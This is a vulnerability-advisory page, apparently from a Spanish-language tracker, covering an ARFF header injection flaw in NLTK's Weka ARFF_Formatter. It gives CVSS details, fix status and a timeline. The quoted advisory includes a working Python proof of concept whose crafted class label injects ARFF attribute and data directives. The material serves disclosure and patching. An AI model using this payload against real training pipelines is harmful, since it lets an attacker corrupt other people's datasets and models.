llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · nltk

GHSA-9FFX-RRGX-MHGX

NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.4
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión3.10.4
Exposición7 hDesde la divulgación, 19 nov 2026, 6:54 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
10:00 a. m.
06:54 p. m.
07:00 p. m.
02:14 a. m.
10:00 a. m.
02:04 p. m.
06:07 p. m.
10:11 p. m.
02:14 a. m.
FechaFaseEventoDetalle
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-9FFX-RRGX-MHGX divulgada · CVSS 5.4 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Description

Summary

`nltk.classify.weka.ARFF_Formatter` writes class labels directly into the Weka ARFF `@ATTRIBUTE '-label-' {...}` declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as `}`, newlines, `@ATTRIBUTE`, and `@DATA` to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.

This vulnerability is reachable in any application that calls `WekaClassifier.train()` or `ARFF_Formatter.from_train()` with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.

Technical Details

The vulnerable code path is:

  1. `WekaClassifier.train()` calls `ARFF_Formatter.from_train(featuresets)`.
  2. `from_train()` extracts labels from the training data and passes them to `ARFF_Formatter(labels, features)`.
  3. `header_section()` uses `",".join(self._labels)` directly, embedding attacker‑controlled strings into the ARFF header without sanitization.

Because the label names are not escaped, a label containing `safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%` will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.

Proof of Concept

The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.

from nltk.classify.weka import ARFF_Formatter

# Attacker‑controlled label containing ARFF metacharacters.
# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,
# `@DATA` starts the data section early, and `%` comments out the rest.
malicious_label = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"

featuresets = [
    ({"f": "benign"}, "legit"),          # legitimate example
    ({"f": "payload"}, malicious_label), # attacker's example
]

# NLTK builds the formatter from the training data
formatter = ARFF_Formatter.from_train(featuresets)

# Generate the ARFF string – this is what would be written to the training file
arff = formatter.format(featuresets)

# Verify that the injection succeeded
assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found"
assert "@DATA\n0,owned" in arff, "Injected data row not found"

print("=== Injected ARFF (excerpt) ===")
for line in arff.splitlines()[5:12]:
    print(line)

Expected output:

=== Injected ARFF (excerpt) ===
@ATTRIBUTE 'f' STRING
@ATTRIBUTE '-label-' {legit,safe}
@ATTRIBUTE injected NUMERIC
@DATA
0,owned
%

Explanation of the injection:

· The label safe} closes the nominal label set {legit,safe} prematurely.
· The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name.
· The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.

References

· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component
· Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072
· Weka ARFF format documentation

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3768 "Fix ARFF label injection in Weka classifier" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).

Probe: nltk/test/unit/security_probes/ghsa_9ffx_rrgx_mhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).

Release: none yet; no release tag contains 56031eabc.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:L
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
nltk< 3.10.4
3.10.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPInltk
Corregida 3.10.4 — —
Versiones corregidas3.10.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-129221
Otrahttps://github.com/nltk/nltk/security/advisories/GHSA-9ffx-rrgx-mhgx
Otrahttps://github.com/nltk/nltk/pull/3768
Otrahttps://github.com/nltk/nltk/commit/56031eabc1ac6e5a109cb78bb18d10e0b7589594
Otrahttps://github.com/nltk/nltk
Otrahttps://github.com/nltk/nltk/releases/tag/v3.10.4

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.